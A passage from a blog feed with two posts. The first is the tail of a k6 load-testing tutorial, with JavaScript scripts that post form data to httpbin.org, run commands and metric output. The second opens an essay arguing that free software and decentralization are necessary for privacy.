<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">export</span><span style="color: light-dark(#D73A49, #F47067);"> const</span><span style="color: light-dark(#005CC5, #6CB6FF);"> errorRate</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#D73A49, #F47067);"> new</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> Rate</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">errors</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">export</span><span style="color: light-dark(#D73A49, #F47067);"> default</span><span style="color: light-dark(#D73A49, #F47067);"> function</span><span style="color: light-dark(#24292E, #F69D50);"> (</span><span style="color: light-dark(#24292E, #F69D50);">)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">  const</span><span style="color: light-dark(#005CC5, #6CB6FF);"> url</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">https://httpbin.org/post</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">  const</span><span style="color: light-dark(#005CC5, #6CB6FF);"> params</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> {</span></span>
<span class="giallo-l"><span>    headers</span><span>:</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">      &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">Content-Type</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">application/x-www-form-urlencoded</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>,</span></span>
<span class="giallo-l"><span>    }</span><span>,</span></span>
<span class="giallo-l"><span>  }</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">  const</span><span style="color: light-dark(#005CC5, #6CB6FF);"> data</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> {</span></span>
<span class="giallo-l"><span>    custname</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">hello</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span>    comments</span><span>:</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> uuidv4</span><span>(</span><span>)</span><span>,</span></span>
<span class="giallo-l"><span>  }</span><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">  check</span><span>(</span><span>http</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">post</span><span>(</span><span>url</span><span>,</span><span>data</span><span>,</span><span> params</span><span>)</span><span>,</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">status is 200</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>:</span><span> (</span><span style="color: light-dark(#E36209, #F69D50);">r</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> =&gt;</span><span> r</span><span>.</span><span>status</span><span style="color: light-dark(#D73A49, #F47067);"> ==</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 200</span><span>,</span></span>
<span class="giallo-l"><span>  }</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> ||</span><span> errorRate</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">add</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>)</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">  sleep</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">5</span><span>)</span><span>;</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p><strong>To run it:</strong></p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">k6</span><span style="color: light-dark(#032F62, #96D0FF);"> run</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);"> 10s</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">u</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10</span><span style="color: light-dark(#032F62, #96D0FF);"> httpbin_load.js</span></span></code></pre>
<p>(Here <code>-d</code> is for the duration to run the test and <code>-u</code> is to specify <code>Virtual User</code>)</p>
<p><strong>Explanation:</strong></p>
<ul>
<li>It’s an <code>HTTP POST</code> request with some form data to <a rel="external" href="https://httpbin.org/post">https://httpbin.org/post</a></li>
<li>We use the <a rel="external" href="https://k6.io/docs/javascript-api/jslib/utils/uuidv4/">uuid</a> function because the JS stdlib is <em>great</em> at providing basic helper methods (/s)</li>
<li>We define a check for HTTP status code as 200. Later we’ll see how to add more real-world checks under heavy load.</li>
<li>We have a <a rel="external" href="https://k6.io/docs/javascript-api/k6/sleep-t/">sleep</a> function to pause a little bit before each iteration. This is pretty important as leaving <code>sleep</code> is akin to a user pressing F5 on a browser non-stop and you’d probably not want your load tests to be that aggressive. Read <a rel="external" href="https://k6.io/docs/using-k6/test-life-cycle/#the-default-function-life-cycle">docs</a> for more info.</li>
</ul>
<p><strong>Output:</strong></p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>❯ k6 run -d 30s -u 10 test.js                   </span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>          /\      |‾‾| /‾‾/   /‾‾/   </span></span>
<span class="giallo-l"><span>     /\  /  \     |  |/  /   /  /    </span></span>
<span class="giallo-l"><span>    /  \/    \    |     (   /   ‾‾\  </span></span>
<span class="giallo-l"><span>   /          \   |  |\  \ |  (‾)  | </span></span>
<span class="giallo-l"><span>  / __________ \  |__| \__\ \_____/ .io</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>  execution: local</span></span>
<span class="giallo-l"><span>     script: test.js</span></span>
<span class="giallo-l"><span>     output: -</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>  scenarios: (100.00%) 1 scenario, 10 max VUs, 1m0s max duration (incl. graceful stop):</span></span>
<span class="giallo-l"><span>           * default: 10 looping VUs for 30s (gracefulStop: 30s)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>running (0m30.6s), 00/10 VUs, 387 complete and 0 interrupted iterations</span></span>
<span class="giallo-l"><span>default ✓ [======================================] 10 VUs  30s</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>     ✓ status is 200</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>     checks.........................: 100.00% ✓ 387       ✗ 0   </span></span>
<span class="giallo-l"><span>     data_received..................: 318 kB  10 kB/s</span></span>
<span class="giallo-l"><span>     data_sent......................: 78 kB   2.5 kB/s</span></span>
<span class="giallo-l"><span>     http_req_blocked...............: avg=28.65ms  min=210ns    med=857ns    max=1.1s     p(90)=1.49µs   p(95)=1.68µs  </span></span>
<span class="giallo-l"><span>     http_req_connecting............: avg=7.77ms   min=0s       med=0s       max=301.24ms p(90)=0s       p(95)=0s      </span></span>
<span class="giallo-l"><span>     http_req_duration..............: avg=254.05ms min=215.63ms med=231.15ms max=826.99ms p(90)=317.33ms p(95)=325.1ms </span></span>
<span class="giallo-l"><span>       { expected_response:true }...: avg=254.05ms min=215.63ms med=231.15ms max=826.99ms p(90)=317.33ms p(95)=325.1ms </span></span>
<span class="giallo-l"><span>     http_req_failed................: 0.00%   ✓ 0         ✗ 387 </span></span>
<span class="giallo-l"><span>     http_req_receiving.............: avg=177.35µs min=39.43µs  med=170.18µs max=604.22µs p(90)=259.75µs p(95)=285.73µs</span></span>
<span class="giallo-l"><span>     http_req_sending...............: avg=268.41µs min=48.62µs  med=216.61µs max=7.95ms   p(90)=334.94µs p(95)=448.21µs</span></span>
<span class="giallo-l"><span>     http_req_tls_handshaking.......: avg=15.87ms  min=0s       med=0s       max=615.25ms p(90)=0s       p(95)=0s      </span></span>
<span class="giallo-l"><span>     http_req_waiting...............: avg=253.61ms min=215.34ms med=230.77ms max=826.57ms p(90)=316.98ms p(95)=324.69ms</span></span>
<span class="giallo-l"><span>     http_reqs......................: 387     12.666038/s</span></span>
<span class="giallo-l"><span>     iteration_duration.............: avg=784ms    min=717ms    med=732.43ms max=1.92s    p(90)=820.35ms p(95)=926.87ms</span></span>
<span class="giallo-l"><span>     iterations.....................: 387     12.666038/s</span></span>
<span class="giallo-l"><span>     vus............................: 10      min=10      max=10</span></span>
<span class="giallo-l"><span>     vus_max........................: 10      min=10      max=10</span></span></code></pre>
<p><strong>Things to look for:</strong></p>
<p>From the above output, I think these 2 metrics are the most important to look at:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>     http_req_duration..............: avg=254.05ms min=215.63ms med=231.15ms max=826.99ms p(90)=317.33ms p(95)=325.1ms </span></span>
<span class="giallo-l"><span>     http_reqs......................: 387     12.666038/s</span></span></code></pre>
<p>We see the total requests sent in 30s were <code>387</code> and the <code>p95</code> response time is <code>325.1ms</code>.</p>
<h2 id="testing-some-real-world-scenarios">Testing some real-world scenarios<a class="zola-anchor" href="#testing-some-real-world-scenarios" aria-label="Anchor link for: testing-some-real-world-scenarios">#</a></h2>
<p>This was a really simple example but we can add some more scenarios to mimic real-world checks. Let’s tweak the script to</p>
<ul>
<li>Go from 1 to 10 users in 10s.</li>
<li>Stay at 10 users for 5s.</li>
<li>Ramp down to 1 user for the next 15s.</li>
<li>Have a threshold of not exceeding 500ms as p95.</li>
<li>Have a threshold for the count of non <code>200 OK</code> responses.</li>
</ul>
<p>The above script now becomes:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="javascript"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> http</span><span style="color: light-dark(#D73A49, #F47067);"> from</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">k6/http</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> {</span><span> check</span><span>,</span><span> sleep</span><span> }</span><span style="color: light-dark(#D73A49, #F47067);"> from</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">k6</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> {</span><span> Rate</span><span> }</span><span style="color: light-dark(#D73A49, #F47067);"> from</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">k6/metrics</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> {</span><span> uuidv4</span><span> }</span><span style="color: light-dark(#D73A49, #F47067);"> from</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">https://jslib.k6.io/k6-utils/1.0.0/index.js</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">export</span><span style="color: light-dark(#D73A49, #F47067);"> const</span><span style="color: light-dark(#005CC5, #6CB6FF);"> errorRate</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#D73A49, #F47067);"> new</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> Rate</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">non_200_requests</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">export</span><span style="color: light-dark(#D73A49, #F47067);"> let</span><span> options</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> {</span></span>
<span class="giallo-l"><span>    stages</span><span>:</span><span> [</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">        //</span><span style="color: light-dark(#6A737D, #768390);"> Ramp-up from 1 to 10 VUs in 10s.</span></span>
<span class="giallo-l"><span>        {</span><span> duration</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">10s</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span> target</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10</span><span> }</span><span>,</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">        //</span><span style="color: light-dark(#6A737D, #768390);"> Stay at rest on 10 VUs for 5s.</span></span>
<span class="giallo-l"><span>        {</span><span> duration</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">5s</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span> target</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10</span><span> }</span><span>,</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">        //</span><span style="color: light-dark(#6A737D, #768390);"> Linearly ramp down from 10 to 0 VUs over the last 15s.</span></span>
<span class="giallo-l"><span>        {</span><span> duration</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">15s</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span> target</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span> }</span></span>
<span class="giallo-l"><span>    ]</span><span>,</span></span>
<span class="giallo-l"><span>    thresholds</span><span>:</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">        //</span><span style="color: light-dark(#6A737D, #768390);"> We want the 95th percentile of all HTTP request durations to be less than 500ms</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">http_req_duration</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">p(95)&lt;500</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">        //</span><span style="color: light-dark(#6A737D, #768390);"> Thresholds based on the custom metric `non_200_requests`.</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">non_200_requests</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> [</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            //</span><span style="color: light-dark(#6A737D, #768390);"> Global failure rate should be less than 1%.</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">            &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">rate&lt;0.01</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            //</span><span style="color: light-dark(#6A737D, #768390);"> Abort the test early if it climbs over 5%.</span></span>
<span class="giallo-l"><span>            {</span><span> threshold</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">rate&lt;=0.05</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span> abortOnFail</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span><span> }</span><span>,</span></span>
<span class="giallo-l"><span>        ]</span><span>,</span></span>
<span class="giallo-l"><span>    }</span><span>,</span></span>
<span class="giallo-l"><span>}</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">export</span><span style="color: light-dark(#D73A49, #F47067);"> default</span><span style="color: light-dark(#D73A49, #F47067);"> function</span><span style="color: light-dark(#24292E, #F69D50);"> (</span><span style="color: light-dark(#24292E, #F69D50);">)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">  const</span><span style="color: light-dark(#005CC5, #6CB6FF);"> url</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">https://httpbin.org/post</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">  const</span><span style="color: light-dark(#005CC5, #6CB6FF);"> params</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> {</span></span>
<span class="giallo-l"><span>    headers</span><span>:</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">      &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">Content-Type</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">application/x-www-form-urlencoded</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>,</span></span>
<span class="giallo-l"><span>    }</span><span>,</span></span>
<span class="giallo-l"><span>  }</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">  const</span><span style="color: light-dark(#005CC5, #6CB6FF);"> data</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> {</span></span>
<span class="giallo-l"><span>    custname</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">hello</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span>    comments</span><span>:</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> uuidv4</span><span>(</span><span>)</span><span>,</span></span>
<span class="giallo-l"><span>  }</span><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">  check</span><span>(</span><span>http</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">post</span><span>(</span><span>url</span><span>,</span><span>data</span><span>,</span><span> params</span><span>)</span><span>,</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">status is 200</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>:</span><span> (</span><span style="color: light-dark(#E36209, #F69D50);">r</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> =&gt;</span><span> r</span><span>.</span><span>status</span><span style="color: light-dark(#D73A49, #F47067);"> ==</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 200</span><span>,</span></span>
<span class="giallo-l"><span>  }</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> ||</span><span> errorRate</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">add</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>)</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">  sleep</span><span>(</span><span>Math</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">random</span><span>(</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> *</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span><span style="color: light-dark(#D73A49, #F47067);"> +</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span><span>)</span><span>;</span><span style="color: light-dark(#6A737D, #768390);"> //</span><span style="color: light-dark(#6A737D, #768390);"> Random sleep between 1s and 2s.</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>Run with <code>k6 run test.js</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>2.21.0 on ☁️  (ap-south-1) took 24s </span></span>
<span class="giallo-l"><span>❯ k6 run test.js</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>          /\      |‾‾| /‾‾/   /‾‾/   </span></span>
<span class="giallo-l"><span>     /\  /  \     |  |/  /   /  /    </span></span>
<span class="giallo-l"><span>    /  \/    \    |     (   /   ‾‾\  </span></span>
<span class="giallo-l"><span>   /          \   |  |\  \ |  (‾)  | </span></span>
<span class="giallo-l"><span>  / __________ \  |__| \__\ \_____/ .io</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>  execution: local</span></span>
<span class="giallo-l"><span>     script: test.js</span></span>
<span class="giallo-l"><span>     output: -</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>  scenarios: (100.00%) 1 scenario, 10 max VUs, 1m0s max duration (incl. graceful stop):</span></span>
<span class="giallo-l"><span>           * default: Up to 10 looping VUs for 30s over 3 stages (gracefulRampDown: 30s, gracefulStop: 30s)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>running (0m30.3s), 00/10 VUs, 105 complete and 0 interrupted iterations</span></span>
<span class="giallo-l"><span>default ✓ [======================================] 00/10 VUs  30s</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>     ✓ status is 200</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>     checks.........................: 100.00% ✓ 105      ✗ 0   </span></span>
<span class="giallo-l"><span>     data_received..................: 126 kB  4.2 kB/s</span></span>
<span class="giallo-l"><span>     data_sent......................: 25 kB   841 B/s</span></span>
<span class="giallo-l"><span>     http_req_blocked...............: avg=73.69ms  min=292ns    med=761ns    max=1.02s    p(90)=1.54µs   p(95)=688.76ms</span></span>
<span class="giallo-l"><span>     http_req_connecting............: avg=21.67ms  min=0s       med=0s       max=245.46ms p(90)=0s       p(95)=223.77ms</span></span>
<span class="giallo-l"><span>   ✓ http_req_duration..............: avg=252.72ms min=215.88ms med=230.31ms max=560.17ms p(90)=299.12ms p(95)=406.94ms</span></span>
<span class="giallo-l"><span>       { expected_response:true }...: avg=252.72ms min=215.88ms med=230.31ms max=560.17ms p(90)=299.12ms p(95)=406.94ms</span></span>
<span class="giallo-l"><span>     http_req_failed................: 0.00%   ✓ 0        ✗ 105 </span></span>
<span class="giallo-l"><span>     http_req_receiving.............: avg=177.85µs min=103.82µs med=163.76µs max=366.5µs  p(90)=235.86µs p(95)=266.39µs</span></span>
<span class="giallo-l"><span>     http_req_sending...............: avg=258.17µs min=96.92µs  med=215.88µs max=958.67µs p(90)=410.05µs p(95)=487.18µs</span></span>
<span class="giallo-l"><span>     http_req_tls_handshaking.......: avg=50.22ms  min=0s       med=0s       max=614.14ms p(90)=0s       p(95)=460.3ms </span></span>
<span class="giallo-l"><span>     http_req_waiting...............: avg=252.29ms min=215.17ms med=229.69ms max=559.86ms p(90)=298.42ms p(95)=406.52ms</span></span>
<span class="giallo-l"><span>     http_reqs......................: 105     3.471037/s</span></span>
<span class="giallo-l"><span>     iteration_duration.............: avg=1.84s    min=1.22s    med=1.85s    max=3.02s    p(90)=2.22s    p(95)=2.46s   </span></span>
<span class="giallo-l"><span>     iterations.....................: 105     3.471037/s</span></span>
<span class="giallo-l"><span>     vus............................: 1       min=1      max=10</span></span>
<span class="giallo-l"><span>     vus_max........................: 10      min=10     max=10</span></span></code></pre>
<p>We can see that all the checks passed without breaching any thresholds we’d set.</p>
<p><strong>Some important points</strong>:</p>
<ul>
<li>
<p>In my local environment, I stress tested my service with 10k VUs which is quite a high number for the service but it was good to see it hold under extreme conditions as well. An important thing to note if you are spawning many VUs is that <code>ulimit</code> number should be high. This is <a rel="external" href="https://k6.io/docs/misc/fine-tuning-os/">described in their docs</a> as well.</p>
</li>
<li>
<p>To debug the HTTP response you can run with <code>--http-debug="full"</code> flag and get the verbose output for debugging.</p>
</li>
</ul>
<h2 id="summary">Summary<a class="zola-anchor" href="#summary" aria-label="Anchor link for: summary">#</a></h2>
<p>I’ve barely scratched the surface of what this tool does. You can export metrics to various data sources, add a lot more checks on the response code, use it with GRPC or WebSockets as well.</p>
<p>Overall pretty happy with this tool and I am going to use more of it for future projects.</p>
<h3 id="references">References<a class="zola-anchor" href="#references" aria-label="Anchor link for: references">#</a></h3>
<ul>
<li><a rel="external" href="https://k6.io/blog/comparing-best-open-source-load-testing-tools/">https://k6.io/blog/comparing-best-open-source-load-testing-tools/</a></li>
<li><a rel="external" href="https://k6.io/our-beliefs/#simple-testing-is-better-than-no-testing">https://k6.io/our-beliefs/#simple-testing-is-better-than-no-testing</a></li>
<li><a rel="external" href="https://k6.io/docs/">https://k6.io/docs/</a></li>
<li><a rel="external" href="https://github.com/grafana/k6">https://github.com/grafana/k6</a></li>
</ul>
<p>Fin</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Why Free Software and decentralization are necessary for privacy]]></title>
            <link>https://ravidwivedi.in/posts/free-software-important-for-privacy/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/free-software-important-for-privacy/</guid>
            <pubDate>Tue, 26 Oct 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[Free Software means software which respects user’s freedom. It does not mean that the users get software without paying or for free of cost. Free Software is a matter of liberty not price. I sometimes call it swatantra/mukt software to clarify this point.
Precisely, Free Software gives users the following freedoms:
Freedom 0: Freedom to run the software;
Freedom 1: Freedom to study and modify the software. Users must have the source code of the software to exercise this freedom;
Freedom 2: Freedom to share the software;
Freedom 3: Freedom to share your modified versions;
A software which lacks any of these freedoms is called nonfree/proprietary software. Most of the well-known proprietary software are malware.
If we do not have the source code of the software, we cannot inspect it for whether it has malicious functionalities. In particular, we cannot inspect whether the software has spyware or not. Even if we get the source code, we cannot remove the spyware unless we can modify it. In view of this note, freedom 1 is a precondition to user privacy.
If users cannot share the software, then they need to inspect the software themselves to know whether software has some spying functionality or not. Sharing the software allows us to give a copy of software to someone who can inspect. For example, nonprogrammers can share a copy of the software with someone to get the software inspected for malicious functionalities, maybe, in exchange for a fee. When we don’t know how to repair a fan, bicycle or a car and we give it to a mechanic who repairs for us. Similar is the case for software.
Let’s say someone removed a spyware from a software, then they can share their modifications with others if Freedom 3 is granted. If Freedom 3 is not granted, then everyone need to modify themselves which is a lot of redundant work.
These freedoms give users collective control over the software. The collective control is necessary for users to get privacy. A nonfree software cannot be trusted for privacy. Please note that Free Software might not be sufficient for privacy. It is a precondition for privacy.
For example, Ubuntu operating system is a Free Software and it contained spyware in older versions. With Free Software, users have a defence to remove those malfunctionalities. With proprietary software, there is no such chance.
Another factor is decentralization. What I mean by decentralization is that network-based services allow self-hosting and federation. Please read this article by FSCI for details on how decentralization in combination with Free Software and end-to-end encryption can give you privacy.
I will summarize the article for you here. Basically, when we use software installed in someone else’s computers(called servers), like Google Docs, we lose control over our computing. This is because all communications, say, in case of Google Docs will go via Google’s servers. Since, we are using Google’s computers for our computing they can log our activities and put us in surveillance. If the server is in our control or a trusted one, then this is not a problem but services like Google Docs does not allow users to deploy it on their own server(even if it would it would not be advisable due to Google Docs being nonfree software). So we need the freedom to self-host, which means freedom to run our own servers. This does not mean we have to run our own server. Granting users the freedom to self-host gives rise to many service providers. Then we can choose one which we trust, or pay someone to deploy our server.
Federation means two users using different service providers can communicate. This is required, otherwise when we switch the service provider, we need to make effort to switch every contact to a new service provider. Federation allows us to switch service provider without other contacts switching the provider.
Example of free software powered federated systems are Matrix, XMPP, Mastodon. Searx search engine is an example where self-hosting is allowed but the concept of federation does not apply.
To illustrate, we take an example of Matrix chat system. A user registered on service provider 1 can contact with users on service provider 2 on Matrix. All messages are end-to-end encrypted. And since the servers are under user’s control, they can control the policies and what data is being collected.
The conclusion is: Free Software and decentralization are necessary for privacy. Proprietary Software and centralized services cannot be trusted for privacy.]]></description>
            <content:encoded><![CDATA[<p>Free Software means software which respects user&rsquo;s freedom. It does not mean that the users get software without paying or for free of cost. Free Software is a matter of liberty not price. I sometimes call it swatantra/mukt software to clarify this point.</p>
<p>Precisely, Free Software gives users the following freedoms:</p>
<ul>
<li>
<p>Freedom 0: Freedom to run the software;</p>
</li>
<li>
<p>Freedom 1: Freedom to study and modify the software. Users must have the source code of the software to exercise this freedom;</p>
</li>
<li>
<p>Freedom 2: Freedom to share the software;</p>
</li>
<li>
<p>Freedom 3: Freedom to share your modified versions;</p>
</li>
</ul>
